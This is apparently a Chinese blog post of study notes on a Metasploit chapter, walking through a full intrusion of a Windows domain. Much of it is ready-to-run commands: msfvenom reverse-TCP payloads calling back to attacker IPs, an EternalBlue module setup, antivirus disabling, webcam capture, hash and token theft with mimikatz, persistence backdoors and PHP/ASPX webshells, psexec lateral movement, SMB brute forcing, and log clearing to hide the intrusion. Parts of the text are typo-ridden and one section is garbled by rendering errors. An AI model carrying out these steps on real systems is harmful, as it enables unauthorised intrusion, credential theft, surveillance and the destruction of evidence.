第五章:Metaspolit技术

第五章:Metaspolit技术

Metasploit简介

Metasploit是当前信息安全于渗透测试领域最流行的术语,它完全颠覆了 已有的渗透测试方式。几乎所有操作系统都支持Metasploit,而且Metasplooit框架在这些系统上的工作流程基本都一样。

Metasploit框架(Metaaploit Framework,MSF)使一个开源工具,旨在方便渗透测试,它是由Ruby语言编写的模板化框架,具有很好的扩展性,便于测试人员开发、使用定制的工具模板。

Metasploit可向后端模块提供多种用来控制测试的接口(如控制台、Web、CLI)。推荐使用控制台接口,可以访问和使用所有Metasploit的插件,如Payload、利用模块、Post模块等。Metasploit还有第三方程序的接口,例如Nmap、SQLmap等,可以直接在控制台接口直接使用,要访问该界面在命令行下输入msfconsole

Metasploit基础

专业术语

MSF由多个模块组成

Auxiliaries(辅助模块)

不会在测试测试者和目标主机之间建立访问,只负责进行扫描、嗅探、指纹识别等相关功能辅助渗透测试

Exploit(漏洞利用模块)

漏洞利用是指由渗透测试者利用一个系统或者服务中的安全漏洞进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、Web应用程序攻击,以及利用配置错误等,其中包含攻击者或者测试人员针对系统中漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有响应的攻击代码。

Payload(攻击载荷模块)

攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定的代码,在Metasploit框架中可以自由选择、传送和植入。攻击载荷也可能是简单地在目标操作系统上执行一些命令,例如添加用户账号等

Post(后期渗透模块)

主要用于在取得目标系统控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等

Encoders(编码工具模块)

该模块负责免杀,以防止被杀毒软件、防火墙、IDS类似的安全软件检测出来。

渗透攻击步骤

  • 扫描目标系统,寻找可用漏洞
  • 选择配置一个漏洞利用模块
  • 选择配置一个攻击载荷模块
  • 选择一个编码技术,用来绕过杀软
  • 渗透攻击

主机扫描

端口扫描

扫描和收集信息是渗透测试第一步,主要目标是尽可能多的发现有关目标的信息。关注点是IP地址、可用服务、开放端口等

search portscan查找模块、show options查看需要设置的参数、use 选择某个模块、set RHOST设置待扫描 IP 、set PORTS 设置扫描端口范围

set THREADS 设置扫描线程,unset取消某个参数设置,setg和unsetg用于设置或取消设置全局性的参数,避免重复

服务扫描

search scanner查找模块,例如VNC、FTP、SMB等服务,

常用模块

端口扫描auxiliary/scanner/portscan

SMB auxiliary/scanner/smb_**
SSH auxiliary/scanner/ssh/ssh_login
MSSQL auxiliary/scanner/mssql/mssql_**
MySQL auxiliary/admin(scanner)/mysql/mysql_**
SMTP auxiliary/scanner/smtp/smtp_**
SNMTP扫描 auxiliary/scanner/snmtp/ciommunity

telnet登录auxiliary/scanner/telnet/telnet_login

VNC空口令扫描scanner/vnc/vnc_none_auth

使用Nmap扫描

可以在Metasploit中使用nmap

nmap -Pn/p0 url 其中-Pn和-p0表示不使用ping的方式,假定所有主机是活动的,这样可以穿透防火墙,也可以避免防火墙发现

漏洞利用

没有公布补丁的bug叫做0day漏洞

目标系统Metasploitable2,简单的samba漏洞攻击;漏洞原理:samba版本3.0.20~3.0.25rc3中使用非默认用户名映射脚本时,通过指定一个用户名包含Shell元字符,攻击者可以执行任意命令。防御方法:将samba升级到最新版本即可防御此漏洞。

type example.txt

后渗透方法:信息收集

Metasploit提供后渗透工具:Meterpreter

该工具具有多重功能,获取目标主机的Meterpreter Shell后,就进入了Metasploit最精彩的后期渗透利用阶段,后期渗透模块有200多个,

Meterpreter优势

纯内存工作模式,不需要对磁盘进行任何写入操作

使用加密通信,而且可以同时与几个信道通信

在被攻击进程内工作,不需要创建信的进程

易于在多进程之间迁移

平台通用,适用于Windows、Linux、BSD系统,并支持Interl x86和Intel x64平台

**进程迁移:**刚获取的的Meterpreter Shell时很脆弱和容易受攻击的,例如利用浏览器漏洞攻陷目标,但攻击渗透后浏览器可能会被用户关闭。所以第一步要移动这个Shell,把他和目标机中一个稳定的进程绑定,而不需要对磁盘进行任何操作,这样更难被检测到。

进程pid获取:Windows:tasklist Linux:getpid ·

meterpreter下migrate 448将shell移动到PID为448的进程里,使用kill 984关闭原本的进程,使用自动迁移命令run post/windows/manage/migrate可以自动寻找合适的进程并进行进程的转迁移

系统命令

sysinfo查看目标主机的系统信息包括操作系统和体系结构

run post/windows/gather/checkvm检查目标主机是否正运行在VMware虚拟机上

idletime看到目标最近的运行时间

route命令查看目标完整网络设置

background命令在多个meterpreter时可以将当前会话放到后台,getuid可以查看当前机器上已经渗透成功的用户名

run post/windows/manage/killav关闭目标机系统杀毒软件

run post/windows/manage/enable_rdp命令启动目标机的远程桌面协议3389

run post/windows/manage/autoroute查看目标机本地子网情况

route add添加路由,route print查看路由

run post/windows/gather/enum_logged_on_user命令列举当前登录目标机的用户

run post/windows/gather/enum_applications命令列举安装的应用程序

run post/windows/gather/credentials/windows_autologin命令抓取自动登录的用户名和密码,若没有抓取到,使用Espia插件,先load sepia加载插件,再输入screengrab命令抓取屏幕截图名为ojJUEbgg.jpeg保存在root下,

webcam_list 查看目标是否有摄像头

webcam_snap使用摄像头拍摄一张照片,保存在root下,名为EfintZMs.jpeg

webcam_stream开启直播模式,在浏览器打开给出的地址

shell命令进入到目标主机的Shell

exit可以停止Meterpreter会话,也可终止Shell会话返回Meterpreter

文件系统命令

pwd/getpwd/getlwd查看当前处于那个目录

search -f *.txt -d c: \ 搜索C盘下所有txt文件

download c: \test.txt /root 下载C盘下的文件到攻击机root下

upload /root/test.txt c: \ 上传root下的test.txt到目标机C盘下

后渗透攻击:权限提升

渗透过程中可能只获取了Gust或User权限,要获取管理员权限需要进行提权Linux下时root用户Windows下是Administer甚至System,提权分为纵向提权和横向提权。

whoami/groups命令查看当前权限

msf现成的exp用来提权,主要是利用的本地溢出漏洞,用户输入超过缓存区长度导致程序溢出

systeminfo命令或在C:\windows\下查询xxx.log来查看目标大概打了哪些补丁

相关漏洞的具体分析和共享的网站:

安全焦点:www.securityfocus.com

Exploit-DB:www.exploit-db.com

Wmic:WMIC全称Windows management Instrumentation Commandline,是一款命令行管理工具,提供从命令接口到批命令执行脚本执行系统管理的支持,可以说是windows平台下最有用的命令行工具 ,使用WMIC可以管理本地和同一域内的的所有计算机(需要必要的权限),被控制端不需要安装WMIC。wmic.exe位于Windows目录下。是一个命令行程序,有交互模式和非交互模式:交互模式就是进入交互,一个不交互直接执行参数后带的命令。

Win XP低级用户不能使用WMIC,Win7/8低级用户也可以使用。在信息收集和后渗透阶段非常实用可以调取查看目标机的进程、服务、用户、用户组、网卡连接、硬盘信息、网络共享信息、已安装补丁、启动项、已安装的软件、操作系统和时区。

Netsh:windows系统本身提供的功能强大的网络配置命令行工具,导出配置脚本:netsh -c interface ip dump > c:\interface.txt 导入配置脚本:netsh -f c:\interface.txt。

提权

查找search exploit模块,msfupdate命令进行升级获取最新exploit模块或者手动添加、set session 1/2/3指定服务,根据返回信息看到创建的新session

防御

自己找或者第三方工具找对应的补丁包安装

令牌窃取

令牌Token,就是系统的临时密钥,相当于账户名和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许在不提供密码或者其他凭证的前提下访问网络和系统资源。这些Token存在于系统中,除非系统重新启动。

最大的特点是随机性,不可预测,一般无法猜测。分类:访问令牌Access Token,表示访问控制操作主题的系统对象;保密令牌Security Token又叫做认证令牌或者硬件令牌,是一种计算机身份校验和物理设备,例如U盾;会话令牌Session Token是交互会话中的唯一身份标识符

假冒令牌需要使用Kerberos协议,Kerberos是一种网络认证协议,其设计目的是通过密钥系统为客户机/服务器应用程序提供强大的认证服务

客户端请求证书过程

  • 客户端向认证服务器(AS)发送请求,要求得到服务器证书
  • AS收到请求后,将包含客户端密钥的加密证书响应发送给客户端,证书中包含服务器ticket(包括服务器密钥加密的客户机身份和一份会话密钥)和一个临时加密密钥(又称会话密钥session key),认证服务器也会给服务器发送一份该证书,用来使服务器认证登录客户端的身份。
  • 客户端将ticket传送到服务器上,服务器确认该用户端的会话,便允许它登录服务器
  • 客户端登录成功后,攻击者就可以通过入侵服务器获取客户端的令牌

假冒令牌实战利用

获取Meterpreter Shell,输入getuid命令查看以获取权限,getsystem提权很可能失败,若失败,use incognito命令然后list_tokens-u列出可用的token,看到两种类型的令牌,授权令牌Delegation Tokens:支持交互登录(例如通过远程桌面登录访问)模拟令牌Impersonation Tokens:非交互的会话,令牌数量取决于meterpreter Shell的访问级别,假冒这个令牌:impersonate _token WIN-57TJ4B%561MT\Administrator、shell,然后whoami可以看到成为管理员了

Hash攻击

  • 使用Hashdump抓取密码

Hashdump Meterpreter脚本可以从目标机器中提取Hash,破解Hash值即可获得登录密码。计算机中的每个账号(如果是域服务器,则为域内每个账号)的用户名密码都存储在sam文件中,当计算机运行时,该文件对所有账号进行锁定,需要“系统级”账号,需要提权。

hashdump命令在非System权限下会失败,Win7、Win Server2008有时会出现进程不成功等问题,smart_hashdump模块功能强大,可以导出域内所有用户的hash。

  • 使用Quarks PwDump抓取密码

Quarks PwDump是Win32环境下-的系统授权信息导出工具,适用于Win XP/2003/Vista/7/2008/8

  • Windows Credentials Editor抓取密码

WCE,能够列举登录会话,添加改变和删除相关凭据(例如LM/NT Hash),需要在管理员权限下,且要注意免杀。

后渗透攻击:移植漏洞利用代码模块

以MS17-010漏洞利用代码为例,移植并漏洞利用代码

针对Windows 2003系统,从Github下载渗透脚本,下载的文件eternalblue_doublepulsar_metasploit文件夹下的enternalblue_doublepulsar.rb复制到/usr/share/metasploit-framework/modules/exploit/windows/smb下,在metaspkoit中使用use加载模块

攻击之前要生成一个DLL文件,

64位:msfvenom -p windows/x64/meterpreter/teverse_tcp lhost=192.168.1.247 lport=4444 -f dll-o ~ /eternal11.dll

32位:msfvenom -p windows/meterpreter/teverse_tcp lhost=192.168.1.247 -f dll-o ~ /eternal11.dll

设置参数:

set PROCESSINJECT lsass.exe

set RHOST 192.168.1.108

set TARGETARCHITECTURE x86

set winepath /root/.wine/drive_c

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.1.110

set LHOST 4444

set target 9

后渗透攻击:后门

提升权限后,建立后门(backdoor),目的是维持对目标主机的控制权,即使利用的漏洞修复后也还可以通过后门控制目标。

操作系统后门

后门泛指绕过目标系统安全控制体系的正规用户认证过程,从而维持我们对目标系统的控制权,以及隐匿控制行为的方法。Meterpreter提供了Persistence等后渗透攻击模块,通过在目标上安装自启动、永久服务等方式,来长久有效地控制目标。

  • Cymothoa后门

Cymothoa是一款将shellcode注入现有进程(即插进程)的后门工具,可以将shellcode伪装成常规程序,注入的后门程序可以与被注入的 程序或进程共存,以免引起怀疑,将shellcode注入其他进程也可使目标系统的安全防护工具能够监视可执行程序的完整性,只要不检测内存,就无法发现(插进程)后门程序的进程。

该门注入的是系统的某一进程,反弹的是该进程的相应权限(并不需要root),因其是以运行中的程序为宿主,所以只要进程闭或者目标主机重启,后门就会停止运行。

查看程序的PID:Windows:ps-aux Linux:tasklist

-p 指定目标进程的PID,-s指定ShellCode的编号,-S查看ShellCode编号列表

成功渗透目标主机后,可以把Cymothoa的可执行程序复制到目标主机上,生成后门程序

例子:选择PID为982是进程为宿主进程,选用一类shellCode,指定Payload服务端口为4444cymothoa -p 9/82 -s 4444

成功后可以通过以下命令连接目标主机的后门(4444号端口)nc -nvv 192.168.31.247 4444

  • Persistence 后门

Persistence是一款使用安装自启动方式的持久后门程序,可以用于创建注册和文件。

run persistence -h` 查看命令选项,`run persistence -A -S -U -i 60 -p 4321 -r 192.168.172.138

A:自启动Payload程序,S:系统启动时自动加载,U:用户登陆时启动,X:开机时自动加载,i:回连的时间间隔,P:监听反向连接端口号,r:目标机器IP地址

  • Web 后门

Web后门泛指WebShell,其实就是一段网页代码,包括ASP、ASP.NET、PHP、JSP代码等,这些代码运行在服务端,攻击者通过精心设计的代码,在服务器进行一些危险的操作以获取某些敏感的技术信息,或者通过渗透操作提权,从而获得服务器的控制权,此种方法比一般入侵更具有隐蔽性。

能够提供的功能有执行命令、浏览文件、辅助提权、执行SQL语句、反弹Shell等,Win下中国菜刀,中国蚁剑、Cknife支持Mac、Linux、Windows

kali下Weevely十分强大,使用http头进行指令传输,但仅支持PHP

Meterpreter后门

Metasploit种有一个PHP Meterpreter的Payload,利用此模块可以创建具有Meterpreter功能的PHP WebShell,使用步骤:

使用msfvenom创建一个webshell.php:msfvenom -p php/meterpreter/reverse tcp LHOST=192.168.31.247 -f raw > shuteer.php

(-p 设置Payload -f 设置输出文件格式 )

上传webshell.php到服务器

运行 metasploit multi-heander开始监听:use exploit/multi/hander , set payload php/meterpreter/reverse_tcp , set lhost 192.168.31.247

访问webshell页面

获取反弹的Metasploit Shell

Aspx meterpreter后门

shell_reverse_tcp是Metasploit下的Payload,利用此模块可以创建具有Meterpreter功能 的各版本ShellCode,常见的Asp、Aspx、msi、vbs、war等,以Asp为例。

设置相关参数

show payloads

use windows/shell_reverse_tcp

info

set lhost 192.168.31.247

set lport 4444

save

然后 generate -h命令查看帮助

generate -t asp 生成Asp版的ShellCode

generate -t aspx Aspx版生成

设置监听

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.31.247

set lport 4444

run

(都是同理)

内网攻击域渗透测试实例

渗透环境

假设已经渗透了一台服务器pavmsef21,该服务器内网ip为10.51.0.21,扫描获取内网10.51.0.30/131/63

渗透目标通过一个普通的WebShell权限一步步地获得域管权限,从而控制整个内网

提升权限

上传免杀的Payload到10.51.0.21服务器上,使用中国菜刀或者Webshell下运行获取Shell。然后提权

尝试利用本地溢出漏洞提权(本地漏洞利用程序)提权,即通过一些现成的、能造成溢出漏洞的Exploit,把用户从User组或其他系统用户组提升到Administrator组或root。

信息收集

先查看机器的网络环境,收集域内相关信息,包括所有用户、所有计算机,以及相关关键组的信息

常用命令:

net user/domain :查看域用户

net view/domain :查看有几个域

net view/domain :XXX :查看域内的主机

net group/domain :查看域里面的组

net group“domain computers”/domain :查看域内所有的主机名

net group“domain admins”/domain :查看域管理员

net group”domain controllers“/domain :查看域控制器

net group”enterprise admins“/domain :查看企业管理组

nettime/domain :查看时间服务器

通过信息搜集可以分析出很多重要的线索,例如内网如何划分,机器之间的命名规则,根据机器名尝试找出重要人物计算机,以及目标机是否为多层结构,关键是要探测出域管理员的名字和与服务器的名字等信息。

获取一台服务器权限

我们的目标是与服务器,此时有两种情况:当前服务器是否能直接攻击域服务器,如果不可以则再分两种情况:如果权限不够就需要提权,如果不能连接域服务器则需要攻击内网种某个可以连接到与服务器的服务器,以此为跳板再攻击与服务器。

方法:

  • 使用Meterpreter目前拥有的权限添加路由,进行弱口令扫描。
  • 使用Powshell对内网进行扫描(Win7以上)。
  • 架设Socks4a,然后Socks会自动化进行内网扫描。
  • 利用当前权限进行内网IPC$渗透。
  • 其他方法

从简单方法入手,net view在列举机器名里选择一个和当前机器名相似的服务器来尝试

经典的IPC$入侵

IPC 入侵,即通过使用 W i n d o w s 系统默认的 ‘ I P C 入侵,即通过使用Windows系统默认的`IPC 入侵,即通过使用Windows系统默认的IPC`共享获得计算机控制权的入侵,内网中极其常见。

假设一台IPCKaTeX parse error: Undefined control sequence: \ipc at position 14: 主机`127.0.0.25\̲i̲p̲c̲`,输入下列命令

net use \127.0.0.25\ipc$ #连接127.0.0.25\ipc$共享

copy srv.exe \127.0.0.25\ipc$ #复制srv.exe到目标主机

net time \127.0.0.25 #查时间

at \127.0.0.25 10:50 srv.exe #用at命令在10:50启动sev.exe(这里设置的时间要比主机时间快)

at命令就是让计算机在指定的时间做指定的事情的命令

免杀Payload上传到目标机器上利用at启动payload,反弹MeterpreterShell,接着返回handler监听

使用mimikatz抓Hash,如果服务器安装的是64位操作系统需要把Mimikatz进程迁移到一个64位的程序进程中才能查看64位系统的密码明文,32位没有这个限制

PowShell寻找域管在线服务器

Windows PowerShell是一种命令行外壳程序和脚本环境,使命令行用户可和编写者可以利用.NET Framework的强大功能。PowerShell还允许将几个命令 组合起来放到文件里执行,实现文件级的重用,也就是具有脚本的性质。

使用Power View脚本获取域管理员在线登录的服务器,将Power View脚本的lnvoke-User Hunter模块上传到ip为10.51.0.131的服务器,输入lnvoke-User

具体命令:

powershell.exe-exe bypass-Command

“&{lmport-Model.\powerview.ps1;lnvoe-UserHunter}”

完成后会看到域管理员登录的主机ip为10.51.0.30,之后入侵,将进程迁移到域管理登录所在的进程,就获取了域管理的权限

获取域管理权限

使用getsystem提权,使用ps找到域管理所在进程,把 Meterpreter Shell进程迁移到此进程中,net time查看域服务器(一般时间服务器都是域服务器),后使用IPC$反弹MeterpreterShell,Win系统使用schtasks命令添加计划任务,给域控添加一个管理员账户net group “domain admin” /domain

登录域控制

登录域控,抓取Hash

常见登录域控的方式:

利用IPC上传AT&Schtasks远程执行命令

利用端口转发或者Socks登录域控远程桌面

登录对方内网的一台计算机使用PsTools工具包中的PsExec来反弹Shell

使用Meterpreter下的PsExec、psexec_psh、Impacket psexec、pth-winexe、Empire Invoke-Psexec等PsExec类i工具反弹Shell

使用Metaslpoit下的smb_login来反弹Meterpreter

使用WMI(Windows Management Instrumentation)来进行攻击

使用PsRemoting posershek远程执行命令

其他一些方法

效果最好的Metasploit下的PsExec来反弹Meterpreter注意:MSF中的PsExec模块;cuestom模块,建议使用类似Weil之类的工具生成免杀Payload

命令:use exploit/windows/smb/psexec、set smbuser username、set smbpass password、set smbdomain MEDABIL、set rhost 10.51.0.64、run

进程迁移:getpid、migrate 1416、sysinfo

session查看控制的session:session1Webshell的反弹,session2利用ipc$入侵、session4获取域管在线服务器、session5为域

获取域控后抓Hash,方法:

使用Metasploit自带的dumphash或者smart_hashdump模块导出用户Hash

利用PowerShell的相应模块导出hash

使用WCE、Mimikatz等工具

其他方法

使用Metasploit的dumphash模块(需要SYSTEM权限):use post/windows/gather/smart_hashdump 、set session5、run

SMB爆破内网

取得域控密码后,在内网扩大控制权限

利用当前的账户密码,对整个IP段进行扫描

使用SMB下的smb_login模块

端口转发或者Socks代理进内网

先在Metasploit添加路由,然后使用smb_login模块或者pseexec_scanner模块进行爆破

background、route add 10.51.0.131 255.255.0.0 2

search smb_login、use auxiliary/scanner/smb/smb_login、set rhost 13.51.0.131/24、set smbuser uesrname、set smbpass password、

set smbdomain METDABIL、set threads 16、creds(整理扫描结构)

由此可以获取大量内网服务器密码,可以使用meterpreter的端口转发或者Meatploit下的Socks4a模块或者第三方软件

Meterpreter端口转发:portfwd add -l 5555 -p 3389 -r 127.0.0.1、background

清理日志

删除之前添加的域管理账号

删除渗透过程使用的工具

删除应用程序、系统和安全日志

关闭所有Meterpreter连接

Win> net user sonicwall /del(删除用户账号)

meterpreter> clearev(删除日志)

msf> session -K(关闭MSF连接)

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

RICKC131

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值